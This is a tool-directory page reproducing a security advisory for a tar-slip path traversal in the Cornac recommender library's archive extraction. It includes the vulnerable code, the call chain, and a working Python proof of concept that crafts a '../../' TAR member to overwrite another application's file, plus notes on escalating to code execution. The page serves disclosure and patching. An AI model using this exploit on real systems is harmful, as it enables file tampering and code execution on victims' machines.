Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43637-cornac — Path traversal (Tar Slip) in Cornac via _extract_archive (CVE-2026-43637) | Kitploit
Tools/GitHubGitHub/rahulreddykarne/cve-2026-43637-cornac
Vulnerability AnalysisExploitationSupply Chain SecurityLearning & EducationRed Teaming
GitHubrahulreddykarne/cve-2026-43637-cornac

CVE-2026-43637-cornac

Path traversal (Tar Slip) in Cornac via _extract_archive (CVE-2026-43637)

View Repository
252 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-43637: Path Traversal (Tar Slip) in Cornac via _extract_archive

Severity: High, CVSS 4.0 8.8, Critical, CVSS 3.1 9.1(assigned by VulnCheck, the CNA)

Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Vector (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Affected: cornac < 2.6.0

Fixed in: 2.6.0

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory, 'Path Traversal')

Reported by: Rahul Karne and Bharath Kumar Reddy Janumpally

CNA: VulnCheck

Published: July 15, 2026


Summary

Cornac's dataset loaders download and unpack archives automatically, and the unpacker trusted every path inside the archive.

Cornac is a machine-learning framework for recommender systems. Its built-in dataset loaders fetch archives over the network and extract them without any confirmation step. The extraction routine _extract_archive() in cornac/utils/download.py calls archive.extractall() with no validation of member paths. A TAR archive whose members contain ../ sequences, absolute paths, or symlink and hardlink entries therefore writes files to arbitrary locations on the filesystem, anywhere the running process can write, entirely outside the intended cache directory. Several loaders fetch over plain HTTP, so a network-positioned attacker can substitute a malicious archive in transit and have it extracted the moment a loader is called.

Impact

Arbitrary file write with fully attacker-controlled path and content, bounded only by the permissions of the process running Cornac. This is a write primitive, not a read one, so there is no direct disclosure, but arbitrary file write is a well-established path to code execution and to denial of service:

  • Code execution. Overwriting a .py file in site-packages, a shell startup file, or a scheduled-task entry causes attacker code to run on the next import, shell, or job.
  • Denial of service. Overwriting an application's own modules or config replaces them with attacker content. In the verified PoC, a target module is replaced with one that raises on import, and the application can no longer start. This is permanent until the file is restored, not a transient crash.
  • Configuration tampering. Replacing a config file can redirect a database connection, disable an auth check, or inject settings.

Who is affected: Any use of cornac < 2.6.0 that calls a dataset loader which downloads and extracts an archive the attacker can control or intercept. Because loaders extract automatically, no step beyond the ordinary loader call is required.

Who is not affected:

  • Anyone on 2.6.0 or later, where extraction validates every member path.
  • Code that never invokes a downloading dataset loader, or only extracts archives from a fully trusted, integrity-verified source over a trusted channel.
  • ZIP inputs specifically are not exploitable through this path (see the note in Technical detail); the TAR path is the exploitable one.

Reach

MetricValueSource
Downloads, all-time4.1Mpepy.tech/projects/cornac
Downloads, last 30 days67.8Kpepy.tech
Typical useRecommender-systems research and teaching; dataset loaders auto-fetch over the network, some over plain HTTPinherent to the framework

Technical detail

Root cause

_extract_archive() in cornac/utils/download.py extracts both ZIP and TAR inputs through one code path and, for the TAR case, calls extractall() with no path checking:

# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
    """Extracts an archive."""
    for archive_type in ["zip", "tar"]:
        if archive_type == "zip":
            open_fn = zipfile.ZipFile
            is_match_fn = zipfile.is_zipfile
        elif archive_type == "tar":
            open_fn = tarfile.open
            is_match_fn = tarfile.is_tarfile

        if is_match_fn(file_path):
            with open_fn(file_path) as archive:
                try:
                    archive.extractall(extract_path)   # <-- no member-path validation
                except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
                    if os.path.exists(extract_path):
                        if os.path.isfile(extract_path):
                            os.remove(extract_path)
                        else:
                            shutil.rmtree(extract_path)
                    raise

Nothing constrains member names, so a member named ../../somewhere/file resolves outside extract_path and is written there.

The call chain is fully automatic from a loader call:

cornac.datasets.<name>.load_feedback()
    -> cornac.utils.download.cache()            # downloads via urllib.request.urlretrieve
        -> cornac.utils.download._extract_archive()
            -> tarfile.extractall()             # writes attacker-named paths

Why the TAR path specifically

Python's zipfile sanitizes ../ sequences during extraction, so the ZIP branch of this same function is not exploitable on modern Python. Python's tarfile does not sanitize member paths (prior to 3.12, and only with an explicit filter after that). Because Cornac runs both formats through the identical extractall() call, the ZIP branch is safe and the TAR branch is fully exploitable through the same lines. The asymmetry is easy to miss precisely because the code looks uniform across the two formats.

Delivery over the network

Cornac downloads with urllib.request.urlretrieve(), with no certificate pinning and no archive integrity check, and several built-in loaders use http:// URLs. A network-positioned attacker can intercept the plain-HTTP download and return a malicious TAR without compromising the upstream server, which is why the vector is remote and requires no user interaction beyond the loader call.

Exploitation preconditions

An attacker needs:

  1. A target using cornac < 2.6.0.
  2. The target to invoke a dataset loader that downloads and extracts an archive.
  3. Control over the archive content, either by operating the upstream the loader fetches from or by intercepting a plain-HTTP download in transit.

No privileges on the target and no user interaction beyond the loader call are required.

Proof of concept

The following was run against the real, unmodified package by calling Cornac's own _extract_archive directly.

Vulnerable version (2.3.5). A TAR containing a ../../ member is extracted into a cache directory; the member lands outside that directory and overwrites a file belonging to a separate application:

import cornac.utils.download as d
import io, os, tarfile, tempfile

base   = tempfile.mkdtemp()
cache  = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n    return 'healthy'\n")

mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
    ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
    tf.addfile(ti, io.BytesIO(payload))

d._extract_archive(mal, cache)      # Cornac's real function, cache dir as target

Verified result:

victim app.py BEFORE : def run():  return 'healthy'
victim app.py AFTER  : raise ImportError('victim destroyed by tar slip')

benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True

The benign member wrote inside the cache as expected; the ../../ member wrote into the separate application's directory, and importing that application now fails.

Download Tool